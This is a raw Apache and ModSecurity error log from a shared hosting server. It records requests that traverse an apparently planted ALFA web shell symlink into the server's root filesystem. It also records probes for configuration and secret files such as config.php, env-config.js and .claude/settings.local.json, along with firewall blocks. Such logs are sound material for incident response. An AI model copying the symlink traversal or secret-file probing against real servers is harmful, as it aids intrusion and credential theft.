[Tue Oct 27 14:25:16.605752 2026] [core:crit] [pid 3274706:tid 3274706] (13)Permission denied: [client 216.73.217.51:9323] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/lost+found/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/lost+found/' is executable
[Tue Oct 27 14:25:16.606081 2026] [core:crit] [pid 3274706:tid 3274706] (13)Permission denied: [client 216.73.217.51:9323] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/root/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/root/' is executable
[Tue Oct 27 14:25:23.994025 2026] [ssl:error] [pid 3268402:tid 3268402] (70014)End of file found: [client 54.197.102.71:43479] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:25:28.798766 2026] [core:crit] [pid 3274572:tid 3274572] (13)Permission denied: [client 3.130.168.2:47644] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Tue Oct 27 14:25:33.455798 2026] [core:crit] [pid 3277916:tid 3277916] (13)Permission denied: [client 3.130.168.2:47662] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Tue Oct 27 14:25:48.254711 2026] [core:error] [pid 3274706:tid 3274706] (13)Permission denied: [client 85.208.96.206:16754] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/platform/drivers/ucsi_acpi/uevent
[Tue Oct 27 14:25:55.762436 2026] [ssl:error] [pid 3274572:tid 3274572] (70014)End of file found: [client 44.216.172.204:7238] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:26:05.057135 2026] [core:error] [pid 3274954:tid 3274954] (13)Permission denied: [client 85.208.96.210:43510] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/virtio/drivers/virtio_net/bind
[Tue Oct 27 14:26:07.918583 2026] [ssl:error] [pid 3265870:tid 3265870] (70014)End of file found: [client 34.231.45.47:20525] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:26:13.232725 2026] [core:crit] [pid 3274231:tid 3274231] (13)Permission denied: [client 3.130.168.2:44320] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Tue Oct 27 14:26:15.839687 2026] [ssl:error] [pid 3274706:tid 3274706] (70014)End of file found: [client 54.164.106.236:60717] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:26:19.828722 2026] [ssl:error] [pid 3274954:tid 3274954] (70014)End of file found: [client 54.89.90.224:59900] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:26:31.816341 2026] [core:error] [pid 3274706:tid 3274706] (13)Permission denied: [client 18.213.70.100:23808] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/firmware_node/subsystem/devices/ACPI0010:00/LNXCPU:01/thermal_cooling/device/physical_node/driver/cpu0/crash_notes
[Tue Oct 27 14:26:47.799029 2026] [ssl:error] [pid 3274706:tid 3274706] (70014)End of file found: [client 100.28.204.82:51966] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:27:12.365853 2026] [security2:error] [pid 3276404:tid 3276404] [client 107.172.76.131:61743] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDs9HT0XCUN1jDVucwxywAAAAE"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Tue Oct 27 14:27:12.365920 2026] [security2:error] [pid 3276404:tid 3276404] [client 107.172.76.131:61743] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDs9HT0XCUN1jDVucwxywAAAAE"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Tue Oct 27 14:27:19.945518 2026] [core:error] [pid 3270132:tid 3270132] (13)Permission denied: [client 44.207.207.36:27880] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:20/subsystem/devices/PNP0303:00/subsystem/devices/PNP0A03:00/physical_node/0000:00:05.0/driver/uevent
[Tue Oct 27 14:27:43.759968 2026] [ssl:error] [pid 3280867:tid 3280867] (70014)End of file found: [client 52.22.64.232:48971] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:27:47.818803 2026] [ssl:error] [pid 3277916:tid 3277916] (70014)End of file found: [client 54.84.161.62:43531] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:27:55.683419 2026] [ssl:error] [pid 3265870:tid 3265870] (70014)End of file found: [client 44.209.89.189:48554] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:28:07.818986 2026] [ssl:error] [pid 3274862:tid 3274862] (70014)End of file found: [client 100.28.44.58:63393] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:28:35.774413 2026] [ssl:error] [pid 3274572:tid 3274572] (70014)End of file found: [client 52.3.155.146:14125] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:28:47.983689 2026] [ssl:error] [pid 3274706:tid 3274706] (70014)End of file found: [client 52.205.141.124:32052] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:28:55.822584 2026] [ssl:error] [pid 3280014:tid 3280014] (70014)End of file found: [client 54.166.126.132:19211] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:29:19.978962 2026] [ssl:error] [pid 3274231:tid 3274231] (70014)End of file found: [client 98.83.178.66:63062] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:29:23.881690 2026] [ssl:error] [pid 3274706:tid 3274706] (70014)End of file found: [client 18.213.70.100:12013] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:29:28.026283 2026] [ssl:error] [pid 3270132:tid 3270132] (70014)End of file found: [client 54.156.55.147:37914] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:29:29.674469 2026] [core:error] [pid 3274231:tid 3274231] (13)Permission denied: [client 185.191.171.13:13402] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/key_jar/alloc_calls
[Tue Oct 27 14:29:31.818514 2026] [core:error] [pid 3277916:tid 3277916] (13)Permission denied: [client 52.204.81.148:4057] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/device:1a/subsystem/devices/device:00/physical_node/driver/module/sections/__verbose
[Tue Oct 27 14:29:34.472396 2026] [security2:error] [pid 3270132:tid 3270132] [client 185.191.171.11:52884] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib/systemd/portable/profile/strict/service.conf"] [unique_id "auDtjs12Z0h54eBnbA_o6wAAAAQ"]
[Tue Oct 27 14:29:34.472768 2026] [security2:error] [pid 3270132:tid 3270132] [client 185.191.171.11:52884] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib/systemd/portable/profile/strict/service.conf"] [unique_id "auDtjs12Z0h54eBnbA_o6wAAAAQ"]
[Tue Oct 27 14:29:34.473121 2026] [security2:error] [pid 3270132:tid 3270132] [client 185.191.171.11:52884] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib/systemd/portable/profile/strict/service.conf"] [unique_id "auDtjs12Z0h54eBnbA_o6wAAAAQ"]
[Tue Oct 27 14:29:35.865897 2026] [core:error] [pid 3268402:tid 3268402] (13)Permission denied: [client 44.218.6.93:26996] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/proc/thread-self/cwd/sys/class/input/input0/device/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/resource0
[Tue Oct 27 14:29:37.343949 2026] [security2:error] [pid 3276404:tid 3276404] [client 107.172.76.131:61743] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDthXT0XCUN1jDVucwx1gAAAAE"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Tue Oct 27 14:29:37.344005 2026] [security2:error] [pid 3276404:tid 3276404] [client 107.172.76.131:61743] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDthXT0XCUN1jDVucwx1gAAAAE"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Tue Oct 27 14:29:39.975618 2026] [ssl:error] [pid 3274231:tid 3274231] (70014)End of file found: [client 52.70.209.13:9658] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:29:43.729707 2026] [ssl:error] [pid 3274706:tid 3274706] (70014)End of file found: [client 52.205.141.124:46312] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:29:51.906961 2026] [ssl:error] [pid 3274862:tid 3274862] (70014)End of file found: [client 85.208.96.193:41114] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:30:11.593408 2026] [security2:error] [pid 3265870:tid 3265870] [client 216.73.217.51:38653] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/node_modules/netmask/dist/"] [unique_id "auDtsxPIAz20_HBUJWdZHgAAAAw"]
[Tue Oct 27 14:30:11.593453 2026] [security2:error] [pid 3265870:tid 3265870] [client 216.73.217.51:38653] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/node_modules/netmask/dist/"] [unique_id "auDtsxPIAz20_HBUJWdZHgAAAAw"]
[Tue Oct 27 14:30:11.951161 2026] [ssl:error] [pid 3274706:tid 3274706] (70014)End of file found: [client 54.89.90.224:16888] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:30:27.966895 2026] [ssl:error] [pid 3274706:tid 3274706] (70014)End of file found: [client 50.19.221.48:53317] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:30:38.383432 2026] [security2:error] [pid 3280867:tid 3280867] [client 16.216.88.21:24576] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".inc"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/fud/default/post_common.inc"] [unique_id "auDtztekzdeqHK1edwYq_QAAAAk"]
[Tue Oct 27 14:30:38.383849 2026] [security2:error] [pid 3280867:tid 3280867] [client 16.216.88.21:24576] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/fud/default/post_common.inc"] [unique_id "auDtztekzdeqHK1edwYq_QAAAAk"]
[Tue Oct 27 14:30:38.384203 2026] [security2:error] [pid 3280867:tid 3280867] [client 16.216.88.21:24576] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/fud/default/post_common.inc"] [unique_id "auDtztekzdeqHK1edwYq_QAAAAk"]
[Tue Oct 27 14:30:39.902819 2026] [ssl:error] [pid 3274862:tid 3274862] (70014)End of file found: [client 34.195.248.30:35777] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:30:59.794074 2026] [ssl:error] [pid 3280013:tid 3280013] (5)Input/output error: [client 52.71.216.196:21254] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:31:07.365427 2026] [security2:error] [pid 3278439:tid 3278439] [client 216.73.217.51:1360] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/beta/PHPMailer/src/DSNConfigurator.php"] [unique_id "auDt6-_v8rOklsQgx0GYnQAAAAg"]
[Tue Oct 27 14:31:07.365484 2026] [security2:error] [pid 3278439:tid 3278439] [client 216.73.217.51:1360] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/beta/PHPMailer/src/DSNConfigurator.php"] [unique_id "auDt6-_v8rOklsQgx0GYnQAAAAg"]
[Tue Oct 27 14:31:17.035691 2026] [ssl:error] [pid 3281873:tid 3281873] (70014)End of file found: [client 85.208.96.196:15178] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:31:19.811800 2026] [ssl:error] [pid 3281868:tid 3281868] (70014)End of file found: [client 52.45.15.233:60797] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:31:23.782705 2026] [core:error] [pid 3281876:tid 3281876] (13)Permission denied: [client 3.223.181.32:11727] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory1/node0/memory12/node0/memory20/subsystem/drivers_probe
[Tue Oct 27 14:31:27.751261 2026] [ssl:error] [pid 3270132:tid 3270132] (70014)End of file found: [client 34.231.45.47:58168] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:31:31.893656 2026] [ssl:error] [pid 3278439:tid 3278439] (70014)End of file found: [client 18.232.36.1:46411] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:31:39.525003 2026] [ssl:error] [pid 3281868:tid 3281868] (70014)End of file found: [client 18.213.27.222:7750] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:31:47.794173 2026] [ssl:error] [pid 3278439:tid 3278439] (70014)End of file found: [client 3.210.223.61:38712] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:31:49.071137 2026] [security2:error] [pid 3281868:tid 3281868] [client 34.53.212.113:56246] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "cpanel.sherwinpinturas.com"] [uri "/___proxy_subdomain_cpanel/composer.json"] [unique_id "auDuFVw90qYxzDKgxy58QAAAAAU"]
[Tue Oct 27 14:31:49.071188 2026] [security2:error] [pid 3281868:tid 3281868] [client 34.53.212.113:56246] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "cpanel.sherwinpinturas.com"] [uri "/___proxy_subdomain_cpanel/composer.json"] [unique_id "auDuFVw90qYxzDKgxy58QAAAAAU"]
[Tue Oct 27 14:31:49.155048 2026] [security2:error] [pid 3274573:tid 3274573] [client 34.53.212.113:56230] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "cpanel.sherwinpinturas.com"] [uri "/___proxy_subdomain_cpanel/config.php"] [unique_id "auDuFSW3MGiB6zjguVRUfAAAABA"]
[Tue Oct 27 14:31:49.155078 2026] [security2:error] [pid 3274573:tid 3274573] [client 34.53.212.113:56230] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "cpanel.sherwinpinturas.com"] [uri "/___proxy_subdomain_cpanel/config.php"] [unique_id "auDuFSW3MGiB6zjguVRUfAAAABA"]
[Tue Oct 27 14:31:49.364445 2026] [security2:error] [pid 3274573:tid 3274573] [client 34.53.212.113:56230] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "cpanel.sherwinpinturas.com"] [uri "/___proxy_subdomain_cpanel/env-config.js"] [unique_id "auDuFSW3MGiB6zjguVRUfgAAABA"]
[Tue Oct 27 14:31:49.364477 2026] [security2:error] [pid 3274573:tid 3274573] [client 34.53.212.113:56230] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "cpanel.sherwinpinturas.com"] [uri "/___proxy_subdomain_cpanel/env-config.js"] [unique_id "auDuFSW3MGiB6zjguVRUfgAAABA"]
[Tue Oct 27 14:32:05.358772 2026] [security2:error] [pid 3281873:tid 3281873] [client 35.241.178.74:33200] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-global": Permission denied [hostname "webdisk.curso-de-ventas.com"] [uri "/___proxy_subdomain_webdisk/.claude/settings.local.json"] [unique_id "auDuJPiDU4SyGr-jm53v2QAAAAc"]
[Tue Oct 27 14:32:05.358842 2026] [security2:error] [pid 3281873:tid 3281873] [client 35.241.178.74:33200] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-ip": Permission denied [hostname "webdisk.curso-de-ventas.com"] [uri "/___proxy_subdomain_webdisk/.claude/settings.local.json"] [unique_id "auDuJPiDU4SyGr-jm53v2QAAAAc"]
[Tue Oct 27 14:32:08.162729 2026] [ssl:error] [pid 3282202:tid 3282202] (70014)End of file found: [client 34.234.200.207:45991] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:32:11.843286 2026] [ssl:error] [pid 3282202:tid 3282202] (70014)End of file found: [client 52.205.113.104:31075] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:32:11.972282 2026] [security2:error] [pid 3274954:tid 3274954] [client 107.172.76.131:61790] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDuHpINvLjD_VeFzXTfQQAAAAI"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Tue Oct 27 14:32:11.972335 2026] [security2:error] [pid 3274954:tid 3274954] [client 107.172.76.131:61790] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDuHpINvLjD_VeFzXTfQQAAAAI"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Tue Oct 27 14:32:12.436067 2026] [security2:error] [pid 3278439:tid 3278439] [client 35.241.178.74:33150] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-global": Permission denied [hostname "webdisk.curso-de-ventas.com"] [uri "/___proxy_subdomain_webdisk/index.js"] [unique_id "auDuK-_v8rOklsQgx0GYvAAAAAg"]
[Tue Oct 27 14:32:12.436134 2026] [security2:error] [pid 3278439:tid 3278439] [client 35.241.178.74:33150] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-ip": Permission denied [hostname "webdisk.curso-de-ventas.com"] [uri "/___proxy_subdomain_webdisk/index.js"] [unique_id "auDuK-_v8rOklsQgx0GYvAAAAAg"]
[Tue Oct 27 14:32:15.732489 2026] [ssl:error] [pid 3282241:tid 3282241] (70014)End of file found: [client 98.83.226.125:14059] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:32:19.886041 2026] [ssl:error] [pid 3282240:tid 3282240] (70014)End of file found: [client 100.29.155.89:8822] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:32:21.299476 2026] [ssl:error] [pid 3282208:tid 3282208] (70014)End of file found: [client 85.208.96.196:47378] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:32:27.938581 2026] [security2:error] [pid 3281873:tid 3281873] [client 216.73.217.51:16779] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/node_modules/ast-types/def/"] [unique_id "auDuO_iDU4SyGr-jm53v4gAAAAc"]
[Tue Oct 27 14:32:27.938622 2026] [security2:error] [pid 3281873:tid 3281873] [client 216.73.217.51:16779] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/node_modules/ast-types/def/"] [unique_id "auDuO_iDU4SyGr-jm53v4gAAAAc"]
[Tue Oct 27 14:32:38.775778 2026] [core:error] [pid 3276404:tid 3276404] (13)Permission denied: [client 144.76.19.24:20828] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/3/pagemap
[Tue Oct 27 14:32:50.391280 2026] [authz_core:error] [pid 3280013:tid 3280013] [client 216.73.217.51:25323] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/beta/PHPMailer/src/error_log
[Tue Oct 27 14:32:50.490762 2026] [authz_core:error] [pid 3280013:tid 3280013] [client 216.73.217.51:25323] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/beta/PHPMailer/src/error_log
[Tue Oct 27 14:32:50.592595 2026] [authz_core:error] [pid 3280013:tid 3280013] [client 216.73.217.51:25323] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/beta/PHPMailer/src/error_log
[Tue Oct 27 14:32:50.692796 2026] [authz_core:error] [pid 3280013:tid 3280013] [client 216.73.217.51:25323] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/beta/PHPMailer/src/error_log
[Tue Oct 27 14:33:04.907779 2026] [ssl:error] [pid 3282098:tid 3282098] (70014)End of file found: [client 54.87.95.7:47239] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:33:07.624926 2026] [security2:error] [pid 3281873:tid 3281873] [client 216.73.217.51:61037] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/node_modules/ast-types/gen/"] [unique_id "auDuY_iDU4SyGr-jm53v7QAAAAc"]
[Tue Oct 27 14:33:07.624979 2026] [security2:error] [pid 3281873:tid 3281873] [client 216.73.217.51:61037] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/node_modules/ast-types/gen/"] [unique_id "auDuY_iDU4SyGr-jm53v7QAAAAc"]
[Tue Oct 27 14:33:19.947791 2026] [ssl:error] [pid 3280867:tid 3280867] (70014)End of file found: [client 100.29.63.24:64688] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:33:35.900411 2026] [ssl:error] [pid 3282100:tid 3282100] (70014)End of file found: [client 52.202.233.37:32359] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:33:43.933286 2026] [ssl:error] [pid 3282100:tid 3282100] (70014)End of file found: [client 44.223.193.255:13283] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:33:47.966720 2026] [ssl:error] [pid 3281868:tid 3281868] (70014)End of file found: [client 18.210.58.238:53373] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:33:51.701565 2026] [ssl:error] [pid 3282036:tid 3282036] (70014)End of file found: [client 50.19.79.213:5461] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:33:56.329991 2026] [ssl:error] [pid 3282100:tid 3282100] (70014)End of file found: [client 18.207.89.138:26787] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:33:59.891546 2026] [ssl:error] [pid 3281868:tid 3281868] (70014)End of file found: [client 23.21.227.240:57727] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:34:15.695139 2026] [ssl:error] [pid 3282100:tid 3282100] (70014)End of file found: [client 54.162.69.192:17416] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:34:19.890360 2026] [ssl:error] [pid 3281868:tid 3281868] (70014)End of file found: [client 52.44.174.136:60333] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:34:23.836727 2026] [ssl:error] [pid 3282234:tid 3282234] (70014)End of file found: [client 54.83.23.103:19371] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:34:55.832249 2026] [ssl:error] [pid 3282464:tid 3282464] (70014)End of file found: [client 52.203.237.170:10508] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:35:00.275702 2026] [proxy_fcgi:error] [pid 3282465:tid 3282465] [client 82.102.18.118:9123] AH01071: Got error 'Primary script unknown'
[Tue Oct 27 14:35:00.375511 2026] [ssl:error] [pid 3282098:tid 3282098] (70014)End of file found: [client 54.145.82.217:29947] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 14:35:03.826023 2026] [core:error] [pid 3282236:tid 3282236] (13)Permission denied: [client 98.84.70.201:11061] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:05/physical_node/driver/0000:00:03.0/resource0
[Tue Oct 27 14:35:07.314411 2026] [authz_core:error] [pid 3280013:tid 3280013] [client 216.73.217.51:25907] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/betaok/PHPMailer/src/error_log
[Tue Oct 27 14:35:07.341346 2026] [authz_core:error] [pid 3280013:tid 3280013] [client 216.73.217.51:25907] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/betaok/PHPMailer/src/error_log
[Tue Oct 27 14:35:07.408821 2026] [authz_core:error] [pid 3282234:tid 3282234] [client 216.73.217.51:12785] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/betaok/PHPMailer/src/error_log
[Tue Oct 27 14:35:07.509562 2026] [authz_core:error] [pid 3282234:tid 3282234] [client 216.73.217.51:12785] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/betaok/PHPMailer/src/error_log
